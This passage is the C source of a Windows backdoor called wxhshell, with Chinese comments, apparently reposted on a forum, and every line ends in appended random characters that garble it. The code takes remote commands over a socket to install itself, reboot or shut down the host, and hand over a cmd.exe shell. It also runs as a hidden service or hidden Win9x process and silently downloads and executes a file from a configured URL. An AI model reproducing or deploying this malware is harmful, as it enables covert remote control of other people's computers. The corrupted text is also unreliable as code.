  // 帮助 4 .(5m\s!  
  case '?': { aH, NS   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %[o($a$  
    break; '#QZhz(+  
  } !y2yS/  
  // 安装 #TeAw<2U  
  case 'i': { 'I2[} >mj2  
    if(Install()) ``rYzj_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <0jM07\<  
    else AthR|I|8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;^)4u  
    break; xa{.hp?  
    } Fa#5a'}I  
  // 卸载 $lUz!m jG  
  case 'r': { #wh[F"zX  
    if(Uninstall()) h]VC<BD6S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xZQyH  
    else a%/x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {OS[0LB  
    break; 'BVI^H4  
    } 5T'v iG}%  
  // 显示 wxhshell 所在路径 `+UBl\j  
  case 'p': { cf%2A1I2W  
    char svExeFile[MAX_PATH]; zYftgH_o  
    strcpy(svExeFile,"\n\r"); +)_DaL E  
      strcat(svExeFile,ExeFile); WO^]bR  
        send(wsh,svExeFile,strlen(svExeFile),0); vsYbR3O  
    break; _m%Ab3iT~  
    } 9.6ni1a'  
  // 重启 )2:U]d%pk  
  case 'b': { 6/Z_r0^O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IhK%.B{dZ  
    if(Boot(REBOOT)) "|PX5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~C?)- ]bF  
    else { KHeeB`V>J  
    closesocket(wsh); 7!6v4ZA  
    ExitThread(0); y+Bxe )6^V  
    } v,iq,p)&  
    break; o$}$Z&LK  
    } &.Yu%=}  
  // 关机 #X?E#^6?E  
  case 'd': { /d$kz&aIV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N4WX}  
    if(Boot(SHUTDOWN)) A 0;ng2&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e_1L J  
    else { xi)M8\K  
    closesocket(wsh); @ xTVX'$  
    ExitThread(0); ^r{N^  
    } X%`:waR  
    break; h +9~^<oFl  
    } vJb/.)gh]  
  // 获取shell un)PW&~E  
  case 's': { UGoB7TEfn  
    CmdShell(wsh); h6;zAM}  
    closesocket(wsh); P|;f>*^Y  
    ExitThread(0); J d,9<m $  
    break; shVEAT'`  
  } |HwEwL+  
  // 退出 7DeBeY  
  case 'x': { ?MvL}o\|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `?"r\Qo<  
    CloseIt(wsh); !0v3Lu ~j  
    break; 2=naPTP(  
    } uaha)W;'9  
  // 离开 nM99AW  
  case 'q': { ]qEg5:yY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xp fw2;`U'  
    closesocket(wsh); Z[1|('   
    WSACleanup(); 0J;Qpi!u2v  
    exit(1); 9LOq*0L_:  
    break; FrV8_[  
        } a!;#u 8f  
  } gMU%.%p2  
  } 7(<r4{1?  
n6C!5zq7U  
  // 提示信息 9aKO||i,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2 $d'e  
} p>W@h*[6w  
  } ?&VKZSo  
9N6 \Ou~  
  return; )C rsm&  
} 9)4_@rf%  
 jQ-2SA O  
// shell模块句柄 +Y>oNX1KN  
int CmdShell(SOCKET sock) df&.!7_R`  
{ gy"<[N .?c  
STARTUPINFO si; ,!P}Y[|  
ZeroMemory(&si,sizeof(si)); bb-u'"5^]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O! _d5r&,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z,8t!Y  
PROCESS_INFORMATION ProcessInfo; *lQa^F  
char cmdline[]="cmd"; CKC5S^Mx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A5sz[k  
  return 0; R pT7Nr  
} ao@CPB6N  
| S'mF6Y  
// 自身启动模式 vr_Z0]4`C9  
int StartFromService(void) ?R4%z2rcW  
{ 6<f(Zv? I  
typedef struct @\a~5CLN  
{ 0(o.[% Ye  
  DWORD ExitStatus; t8*NldC  
  DWORD PebBaseAddress; x1}Ono3"T  
  DWORD AffinityMask; Uyd'uC  
  DWORD BasePriority; pB7^l|\]  
  ULONG UniqueProcessId; 4Ofkagg  
  ULONG InheritedFromUniqueProcessId; A-YW!BT4  
}   PROCESS_BASIC_INFORMATION; QI78/gT,d  
]3 QW\k~  
PROCNTQSIP NtQueryInformationProcess; \=o0MR  
{*K$gH$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T*'WS!z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wGx H  
sFsf~|  
  HANDLE             hProcess; Xx\,<8Xn  
  PROCESS_BASIC_INFORMATION pbi; e -b>   
GH`y-Ul'K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4^:$|\?]  
  if(NULL == hInst ) return 0; (ki= s+W-  
0!tuUn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rU 1Ri  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ACpecG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QuC_sFP10  
_7dp(R  
  if (!NtQueryInformationProcess) return 0; ,,lR\!>8  
"CZv5)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E5Sn mxd  
  if(!hProcess) return 0; p+y"r4   
?F*I2rt#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %al 5 {  
S27s Rxfr  
  CloseHandle(hProcess); QXgfjo  
u^W!$OfZpp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^sqzlF  
if(hProcess==NULL) return 0; M0`1o p1  
p 8Z;QH*  
HMODULE hMod; #L57d  
char procName[255]; &2I8!Ia  
unsigned long cbNeeded; F@zTz54t  
Oz)/KZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lr@w1*  
VCvf'$4(X  
  CloseHandle(hProcess); VmRfnH"  
9mjJC  
if(strstr(procName,"services")) return 1; // 以服务启动 m7i(0jd +  
}{Ra5-PY  
  return 0; // 注册表启动 +[4y)y`  
} U]g9t<jD  
P!!O~P  
// 主模块 kfZ(:3W$  
int StartWxhshell(LPSTR lpCmdLine) 0|8cSE< i  
{ D|^N9lDaQ  
  SOCKET wsl; [a?bv7Kz  
BOOL val=TRUE; A;o({9VH`Z  
  int port=0; Ge^,hAM'  
  struct sockaddr_in door; ^66OzT8A  
=YD<q:n4  
  if(wscfg.ws_autoins) Install(); w^,Xa  
WZh_z^rwn  
port=atoi(lpCmdLine); E[4 vUnm-  
L!,@_   
if(port<=0) port=wscfg.ws_port; =d]}7PO ~  
( GoPXh  
  WSADATA data; }}k*i0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5u3KL A  
?Mn~XN4F_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {dn:1IcN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l}&2A*c.  
  door.sin_family = AF_INET; M0OIcMTv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k4E9=y?  
  door.sin_port = htons(port); ,s2C)bb-  
Kf_xKW)^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7PBE(d%m  
closesocket(wsl); ~$hR:I1  
return 1; .?LRt  
} k!'+7K.  
MU\Pggs  
  if(listen(wsl,2) == INVALID_SOCKET) { #)]/wqPoW  
closesocket(wsl); mIqm/5  
return 1; '?g&);4)k-  
} 0Ng?U+6  
  Wxhshell(wsl); M^>l>?#rl  
  WSACleanup(); lcgG5/82  
L4bYVTm|  
return 0; yrl7  
WNKg>$M  
} B<n[yiJ}  
7S=,#  
// 以NT服务方式启动 TQ0ZBhd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sw5:T  
{ c27(en(  
DWORD   status = 0; [x]~G  
  DWORD   specificError = 0xfffffff; Ih4$MG6QC  
fNfa.0 s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ajo IL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oN%zpz;OR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6a_U[-a9;  
  serviceStatus.dwWin32ExitCode     = 0; {<-wm-]mo  
  serviceStatus.dwServiceSpecificExitCode = 0; DiTpjk ]c`  
  serviceStatus.dwCheckPoint       = 0; 3d4A~!Iz  
  serviceStatus.dwWaitHint       = 0; O'{kNr{u  
lnLy"f"zV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e4tC[6;  
  if (hServiceStatusHandle==0) return; t%0c$c  
Lo5pn  
status = GetLastError(); USHQwn)%  
  if (status!=NO_ERROR) )jg*u}u 0  
{ foL4s;2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qywl G  
    serviceStatus.dwCheckPoint       = 0; y6x./1Nb}<  
    serviceStatus.dwWaitHint       = 0; FK94CI  
    serviceStatus.dwWin32ExitCode     = status; `!(%R k  
    serviceStatus.dwServiceSpecificExitCode = specificError; aw~h03R_Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *::.Uo4O  
    return; \okv}x^L=Z  
  } a|.IAxJ  
Q"GM3?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F`2h,i-9  
  serviceStatus.dwCheckPoint       = 0; j+{cc: h"X  
  serviceStatus.dwWaitHint       = 0; 7YK6e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >]C/ Q6  
} mg@Ol"2  
(@qS  
// 处理NT服务事件,比如:启动、停止 AE~@F4MK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dqo-.,=  
{ 1~3dX[&  
switch(fdwControl) :]CL}n$*  
{ Oh>hy Y)}  
case SERVICE_CONTROL_STOP: @)vQ>R\k<  
  serviceStatus.dwWin32ExitCode = 0; "@/pQoLy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `~"'\Hw  
  serviceStatus.dwCheckPoint   = 0; :@ VCKq!  
  serviceStatus.dwWaitHint     = 0; ,S(s  
  { 5MD'AP:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (E&M[hH+  
  } ZbjUOlE02  
  return; ,J-|.ER->  
case SERVICE_CONTROL_PAUSE: p]/[ji  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1s(]@gt  
  break; !.q 9:|oc  
case SERVICE_CONTROL_CONTINUE: R[S1<m;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yXv@yn  
  break; h z{--  
case SERVICE_CONTROL_INTERROGATE: O8_! !Qd  
  break; &zJ*afi)  
}; \=mLL|a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +zq"dj_  
} U{LS_VI~  
aNNRw(0/  
// 标准应用程序主函数 u%E8&T8,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U1pE2o-  
{ p@uHzu7  
b4bd^nrqV  
// 获取操作系统版本 ?Tu=-ppw  
OsIsNt=GetOsVer(); N-knhA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); " zD9R4\X.  
SK^(7Ws~0  
  // 从命令行安装 R8eBIJ/@_  
  if(strpbrk(lpCmdLine,"iI")) Install(); Dq$1 j%4Y  
~gGkw#  
  // 下载执行文件 }1~9i'o%Z  
if(wscfg.ws_downexe) { #N >66!/V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "::2]3e  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6NhGTLI  
} %dq%+yw{%m  
F kf4R5Y?  
if(!OsIsNt) { d|7LCW+HW  
// 如果时win9x,隐藏进程并且设置为注册表启动 &FT`z"^  
HideProc(); VP^Yf_  
StartWxhshell(lpCmdLine); Z f<T`'_d  
} =>tkc/aa  
else b7I0R; Zj  
  if(StartFromService()) J5HK1  
  // 以服务方式启动 !6RDq`  
  StartServiceCtrlDispatcher(DispatchTable); 3&AJN#c  
else Ba|}$jo  
  // 普通方式启动 q*` m%3{  
  StartWxhshell(lpCmdLine); qQG? k~r  
~u2f`67{  
return 0; n*na6rV\k  
}
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只看该作者 1 发表于: 2006-10-10
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